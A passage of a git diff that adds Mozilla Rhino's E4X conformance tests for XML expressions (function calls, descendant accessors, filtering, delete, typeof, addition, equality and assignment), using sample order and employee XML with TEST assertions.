+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * Ethan Hugg
+ * Milen Nankov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '11.2.2.js';
+
+START("11.2.2 - Function Calls");
+
+
+rectangle = <rectangle>
+ <x>50</x>
+ <y>75</y>
+ <length>20</length>
+ <width>30</width>
+ </rectangle>;
+
+
+TEST(1, 1, rectangle.length());
+
+TEST(2, <length>20</length>, rectangle.length);
+
+shipto = <shipto>
+ <name>Fred Jones</name>
+ <street>123 Foobar Ave.</street>
+ <citystatezip>Redmond, WA, 98008</citystatezip>
+ </shipto>;
+
+
+upperName = shipto.name.toUpperCase();
+TEST(3, "FRED JONES", upperName);
+
+upperName = shipto.name.toString().toUpperCase();
+TEST(4, "FRED JONES", upperName);
+upperName = shipto.name.toUpperCase();
+TEST(5, "FRED JONES", upperName);
+
+citystatezip = shipto.citystatezip.split(", ");
+state = citystatezip[1];
+TEST(6, "WA", state);
+zip = citystatezip[2];
+TEST(7, "98008", zip);
+
+citystatezip = shipto.citystatezip.toString().split(", ");
+state = citystatezip[1];
+TEST(8, "WA", state);
+zip = citystatezip[2];
+TEST(9, "98008", zip);
+
+// Test method name/element name conflicts
+
+x =
+<alpha>
+ <name>Foo</name>
+ <length>Bar</length>
+</alpha>;
+
+TEST(10, <name>Foo</name>, x.name);
+TEST(11, QName("alpha"), x.name());
+TEST(12, <length>Bar</length>, x.length);
+TEST(13, 1, x.length());
+TEST(14, x, x.(name == "Foo"));
+x.name = "foobar";
+TEST(15, <name>foobar</name>, x.name);
+TEST(16, QName("alpha"), x.name());
+
+
+
+END();
diff --git a/e4x/Expressions/11.2.3.js b/e4x/Expressions/11.2.3.js
new file mode 100644
index 0000000..0d50272
--- /dev/null
+++ b/e4x/Expressions/11.2.3.js
@@ -0,0 +1,61 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * Ethan Hugg
+ * Milen Nankov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '11.2.3.js';
+
+START("11.2.3 - XML Descendant Accessor");
+
+e =
+<employees>
+ <employee id="1"><name>Joe</name><age>20</age></employee>
+ <employee id="2"><name>Sue</name><age>30</age></employee>
+</employees>
+
+names = e..name;
+
+correct =
+<name>Joe</name> +
+<name>Sue</name>;
+
+TEST(1, correct, names);
+
+END();
\ No newline at end of file
diff --git a/e4x/Expressions/11.2.4.js b/e4x/Expressions/11.2.4.js
new file mode 100644
index 0000000..03535db
--- /dev/null
+++ b/e4x/Expressions/11.2.4.js
@@ -0,0 +1,117 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * Ethan Hugg
+ * Milen Nankov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '11.2.4.js';
+
+START("11.2.4 - XML Filtering Predicate Operator");
+
+e = <employees>
+ <employee id="0"><name>John</name><age>20</age></employee>
+ <employee id="1"><name>Sue</name><age>30</age></employee>
+ </employees>;
+
+
+correct = <employee id="0"><name>John</name><age>20</age></employee>;
+
+john = e.employee.(name == "John");
+TEST(1, correct, john);
+
+john = e.employee.(name == "John");
+TEST(2, correct, john);
+
+correct =
+<employee id="0"><name>John</name><age>20</age></employee> +
+<employee id="1"><name>Sue</name><age>30</age></employee>;
+
+twoEmployees = e.employee.(@id == 0 || @id == 1);
+TEST(3, correct, twoEmployees);
+
+twoEmployees = e.employee.(@id == 0 || @id == 1);
+TEST(4, correct, twoEmployees);
+
+i = 0;
+twoEmployees = new XMLList();
+for each (var p in e..employee)
+{
+ if (p.@id == 0 || p.@id == 1)
+ {
+ twoEmployees += p;
+ }
+}
+TEST(5, correct, twoEmployees);
+
+i = 0;
+twoEmployees = new XMLList();
+for each (var p in e..employee)
+{
+ if (p.@id == 0 || p.@id == 1)
+ {
+ twoEmployees[i++] = p;
+ }
+}
+TEST(6, correct, twoEmployees);
+
+// test with syntax
+e = <employees>
+ <employee id="0"><name>John</name><age>20</age></employee>
+ <employee id="1"><name>Sue</name><age>30</age></employee>
+ </employees>;
+
+correct =
+<employee id="0"><name>John</name><age>20</age></employee> +
+<employee id="1"><name>Sue</name><age>30</age></employee>;
+
+i = 0;
+twoEmployees = new XMLList();
+for each (var p in e..employee)
+{
+ with (p)
+ {
+ if (@id == 0 || @id == 1)
+ {
+ twoEmployees[i++] = p;
+ }
+ }
+}
+TEST(7, correct, twoEmployees);
+
+END();
diff --git a/e4x/Expressions/11.3.1.js b/e4x/Expressions/11.3.1.js
new file mode 100644
index 0000000..bd062d2
--- /dev/null
+++ b/e4x/Expressions/11.3.1.js
@@ -0,0 +1,272 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * Ethan Hugg
+ * Milen Nankov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '11.3.1.js';
+
+START("11.3.1 - Delete Operator");
+
+order =
+<order id="123456">
+ <customer id="123">
+ <firstname>John</firstname>
+ <lastname>Doe</lastname>
+ <address>123 Foobar Ave.</address>
+ <city>Bellevue</city>
+ <state>WA</state>
+ </customer>
+ <item>
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ <quantity>1</quantity>
+ </item>
+ <item id="3456">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ <quantity>1</quantity>
+ </item>
+ <item id="56789">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ <quantity>1</quantity>
+ </item>
+</order>;
+
+// Delete the customer address
+correct =
+<order id="123456">
+ <customer id="123">
+ <firstname>John</firstname>
+ <lastname>Doe</lastname>
+ <city>Bellevue</city>
+ <state>WA</state>
+ </customer>
+ <item>
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ <quantity>1</quantity>
+ </item>
+ <item id="3456">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ <quantity>1</quantity>
+ </item>
+ <item id="56789">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ <quantity>1</quantity>
+ </item>
+</order>;
+
+delete order.customer.address;
+TEST_XML(1, "", order.customer.address);
+TEST(2, correct, order);
+
+order =
+<order id="123456">
+ <customer id="123">
+ <firstname>John</firstname>
+ <lastname>Doe</lastname>
+ <address>123 Foobar Ave.</address>
+ <city>Bellevue</city>
+ <state>WA</state>
+ </customer>
+ <item>
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ <quantity>1</quantity>
+ </item>
+ <item id="3456">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ <quantity>1</quantity>
+ </item>
+ <item id="56789">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ <quantity>1</quantity>
+ </item>
+</order>;
+
+// delete the custmomer ID
+correct =
+<order id="123456">
+ <customer>
+ <firstname>John</firstname>
+ <lastname>Doe</lastname>
+ <address>123 Foobar Ave.</address>
+ <city>Bellevue</city>
+ <state>WA</state>
+ </customer>
+ <item>
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ <quantity>1</quantity>
+ </item>
+ <item id="3456">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ <quantity>1</quantity>
+ </item>
+ <item id="56789">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ <quantity>1</quantity>
+ </item>
+</order>;
+
+delete order.customer.@id;
+TEST_XML(3, "", order.customer.@id);
+TEST(4, correct, order);
+
+order =
+<order id="123456">
+ <customer id="123">
+ <firstname>John</firstname>
+ <lastname>Doe</lastname>
+ <address>123 Foobar Ave.</address>
+ <city>Bellevue</city>
+ <state>WA</state>
+ </customer>
+ <item>
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ <quantity>1</quantity>
+ </item>
+ <item id="3456">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ <quantity>1</quantity>
+ </item>
+ <item id="56789">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ <quantity>1</quantity>
+ </item>
+</order>;
+
+// delete the first item price
+correct =
+<order id="123456">
+ <customer id="123">
+ <firstname>John</firstname>
+ <lastname>Doe</lastname>
+ <address>123 Foobar Ave.</address>
+ <city>Bellevue</city>
+ <state>WA</state>
+ </customer>
+ <item>
+ <description>Big Screen Television</description>
+ <quantity>1</quantity>
+ </item>
+ <item id="3456">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ <quantity>1</quantity>
+ </item>
+ <item id="56789">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ <quantity>1</quantity>
+ </item>
+</order>;
+
+delete order.item.price[0];
+TEST_XML(5, "", order.item[0].price);
+TEST(6, <price>1299.99</price>, order.item.price[0]);
+TEST(7, order, correct);
+
+order =
+<order id="123456">
+ <customer id="123">
+ <firstname>John</firstname>
+ <lastname>Doe</lastname>
+ <address>123 Foobar Ave.</address>
+ <city>Bellevue</city>
+ <state>WA</state>
+ </customer>
+ <item>
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ <quantity>1</quantity>
+ </item>
+ <item id="3456">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ <quantity>1</quantity>
+ </item>
+ <item id="56789">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ <quantity>1</quantity>
+ </item>
+</order>;
+
+// delete all the items
+correct =<order id="123456">
+ <customer id="123">
+ <firstname>John</firstname>
+ <lastname>Doe</lastname>
+ <address>123 Foobar Ave.</address>
+ <city>Bellevue</city>
+ <state>WA</state>
+ </customer>
+</order>;
+
+delete order.item;
+TEST_XML(8, "", order.item);
+TEST(9, correct, order);
+
+default xml namespace = "http://someuri";
+x = <x/>;
+x.a.b = "foo";
+delete x.a.b;
+TEST_XML(10, "", x.a.b);
+
+var ns = new Namespace("");
+x.a.b = <b xmlns="">foo</b>;
+delete x.a.b;
+TEST(11, "foo", x.a.ns::b.toString());
+
+delete x.a.ns::b;
+TEST_XML(12, "", x.a.ns::b);
+
+END();
diff --git a/e4x/Expressions/11.3.2.js b/e4x/Expressions/11.3.2.js
new file mode 100644
index 0000000..4e00ede
--- /dev/null
+++ b/e4x/Expressions/11.3.2.js
@@ -0,0 +1,52 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * Ethan Hugg
+ * Milen Nankov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '11.3.2.js';
+
+START("11.3.2 - Typeof Operator");
+
+x = new XML();
+TEST(1, "xml", typeof(x));
+x = new XMLList();
+TEST(2, "xml", typeof(x));
+
+END();
\ No newline at end of file
diff --git a/e4x/Expressions/11.4.1.js b/e4x/Expressions/11.4.1.js
new file mode 100644
index 0000000..2b8fe1b
--- /dev/null
+++ b/e4x/Expressions/11.4.1.js
@@ -0,0 +1,139 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * Ethan Hugg
+ * Milen Nankov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '11.4.1.js';
+
+START("11.4.1 - Addition Operator");
+
+employeeData = <name>Fred</name> + <age>28</age> + <hobby>skiing</hobby>;
+TEST(1, "xml", typeof(employeeData));
+correct = <><name>Fred</name><age>28</age><hobby>skiing</hobby></>;
+TEST(2, correct, employeeData);
+
+order = <order>
+ <item>
+ <description>Big Screen Television</description>
+ </item>
+ <item>
+ <description>DVD Player</description>
+ </item>
+ <item>
+ <description>CD Player</description>
+ </item>
+ <item>
+ <description>8-Track Player</description>
+ </item>
+ </order>;
+
+correct =
+<item><description>Big Screen Television</description></item> +
+<item><description>CD Player</description></item> +
+<item><description>8-Track Player</description></item>;
+
+myItems = order.item[0] + order.item[2] + order.item[3];
+TEST(3, "xml", typeof(myItems));
+TEST(4, correct, myItems);
+
+correct =
+<item><description>Big Screen Television</description></item> +
+<item><description>DVD Player</description></item> +
+<item><description>CD Player</description></item> +
+<item><description>8-Track Player</description></item> +
+<item><description>New Item</description></item>;
+
+newItems = order.item + <item><description>New Item</description></item>;
+TEST(5, "xml", typeof(newItems));
+TEST(6, correct, newItems);
+
+order =
+<order>
+ <item>
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ </item>
+ <item>
+ <description>DVD Player</description>
+ <price>399.99</price>
+ </item>
+ <item>
+ <description>CD Player</description>
+ <price>199.99</price>
+ </item>
+ <item>
+ <description>8-Track Player</description>
+ <price>69.99</price>
+ </item>
+</order>;
+
+
+totalPrice = +order.item[0].price + +order.item[1].price;
+TEST(7, "number", typeof(totalPrice));
+TEST(8, 1699.98, totalPrice);
+
+totalPrice = Number(order.item[1].price) + Number(order.item[3].price);
+TEST(9, 469.98, totalPrice);
+
+
+order =
+<order>
+ <customer>
+ <address>
+ <street>123 Foobar Ave.</street>
+ <city>Bellevue</city>
+ <state>WA</state>
+ <zip>98008</zip>
+ </address>
+ </customer>
+</order>;
+
+streetCity = "" + order.customer.address.street + order.customer.address.city;
+TEST(10, "string", typeof(streetCity));
+TEST(11, "123 Foobar Ave.Bellevue", streetCity);
+
+
+statezip = String(order.customer.address.state) + order.customer.address.zip;
+TEST(12, "string", typeof(statezip));
+TEST(13, "WA98008", statezip);
+
+
+
+END();
diff --git a/e4x/Expressions/11.5.1.js b/e4x/Expressions/11.5.1.js
new file mode 100644
index 0000000..3af8b42
--- /dev/null
+++ b/e4x/Expressions/11.5.1.js
@@ -0,0 +1,101 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * Ethan Hugg
+ * Milen Nankov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '11.5.1.js';
+
+START("11.5.1 - Equality Operators");
+
+x = <alpha>one</alpha>;
+y = <alpha>one</alpha>;
+TEST(1, true, (x == y) && (y == x));
+
+// Should return false if comparison is not XML
+y = "<alpha>one</alpha>";
+TEST(2, false, (x == y) || (y == x));
+
+y = undefined
+TEST(3, false, (x == y) || (y == x));
+
+y = null
+TEST(4, false, (x == y) || (y == x));
+
+// Should check logical equiv.
+x = <alpha attr1="value1">one<bravo attr2="value2">two</bravo></alpha>;
+y = <alpha attr1="value1">one<bravo attr2="value2">two</bravo></alpha>;
+TEST(5, true, (x == y) && (y == x));
+
+y = <alpha attr1="new value">one<bravo attr2="value2">two</bravo></alpha>;
+TEST(6, false, (x == y) || (y == x));
+
+m = new Namespace();
+n = new Namespace();
+TEST(7, true, m == n);
+
+m = new Namespace("uri");
+TEST(8, false, m == n);
+
+n = new Namespace("ns", "uri");
+TEST(9, true, m == n);
+
+m = new Namespace(n);
+TEST(10, true, m == n);
+
+TEST(11, false, m == null);
+TEST(12, false, null == m);
+
+m = new Namespace("ns", "http://anotheruri");
+TEST(13, false, m == n);
+
+p = new QName("a");
+q = new QName("b");
+TEST(14, false, p == q);
+
+q = new QName("a");
+TEST(15, true, p == q);
+
+q = new QName("http://someuri", "a");
+TEST(16, false, p == q);
+
+q = new QName(null, "a");
+TEST(16, false, p == q);
+
+END();
\ No newline at end of file
diff --git a/e4x/Expressions/11.6.1.js b/e4x/Expressions/11.6.1.js
new file mode 100644
index 0000000..ce4da8e
--- /dev/null
+++ b/e4x/Expressions/11.6.1.js
@@ -0,0 +1,429 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * Ethan Hugg
+ * Milen Nankov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '11.6.1.js';
+
+START("11.6.1 - XML Assignment");
+
+// Change the value of the id attribute on the second item
+order =
+<order>
+ <item id="1">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ </item>
+ <item id="2">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ </item>
+ <item id="3">
+ <description>CD Player</description>
+ <price>199.99</price>
+ </item>
+ <item id="4">
+ <description>8-Track Player</description>
+ <price>69.99</price>
+ </item>
+</order>;
+
+correct =
+<order>
+ <item id="1">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ </item>
+ <item id="1.23">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ </item>
+ <item id="3">
+ <description>CD Player</description>
+ <price>199.99</price>
+ </item>
+ <item id="4">
+ <description>8-Track Player</description>
+ <price>69.99</price>
+ </item>
+</order>;
+
+order.item[1].@id = 1.23;
+TEST(1, correct, order);
+
+// Add a new attribute to the second item
+order =
+<order>
+ <item id="1">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ </item>
+ <item id="2">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ </item>
+ <item id="3">
+ <description>CD Player</description>
+ <price>199.99</price>
+ </item>
+ <item id="4">
+ <description>8-Track Player</description>
+ <price>69.99</price>
+ </item>
+</order>;
+
+correct =
+<order>
+ <item id="1">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ </item>
+ <item id="2" newattr="new value">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ </item>
+ <item id="3">
+ <description>CD Player</description>
+ <price>199.99</price>
+ </item>
+ <item id="4">
+ <description>8-Track Player</description>
+ <price>69.99</price>
+ </item>
+</order>;
+
+order.item[1].@newattr = "new value";
+TEST(2, correct, order);
+
+// Construct an attribute list containing all the ids in this order
+order =
+<order>
+ <item id="1">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ </item>
+ <item id="2">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ </item>
+ <item id="3">
+ <description>CD Player</description>
+ <price>199.99</price>
+ </item>
+ <item id="4">
+ <description>8-Track Player</description>
+ <price>69.99</price>
+ </item>
+</order>;
+
+order.@allids = order.item.@id;
+TEST_XML(3, "1 2 3 4", order.@allids);
+
+// Replace first child of the order element with an XML value
+order =
+<order>
+ <customer>
+ <name>John</name>
+ <address>948 Ranier Ave.</address>
+ <city>Portland</city>
+ <state>OR</state>
+ </customer>
+ <item id="1">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ </item>
+ <item id="2">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ </item>
+ <item id="3">
+ <description>CD Player</description>
+ <price>199.99</price>
+ </item>
+ <item id="4">
+ <description>8-Track Player</description>
+ <price>69.99</price>
+ </item>
+</order>;
+
+
+order.*[0] =
+<customer>
+ <name>Fred</name>
+ <address>123 Foobar Ave.</address>
+ <city>Bellevue</city>
+ <state>WA</state>
+</customer>;
+
+correct =
+<order>
+ <customer>
+ <name>Fred</name>
+ <address>123 Foobar Ave.</address>
+ <city>Bellevue</city>
+ <state>WA</state>
+ </customer>
+ <item id="1">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ </item>
+ <item id="2">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ </item>
+ <item id="3">
+ <description>CD Player</description>
+ <price>199.99</price>
+ </item>
+ <item id="4">
+ <description>8-Track Player</description>
+ <price>69.99</price>
+ </item>
+</order>;
+
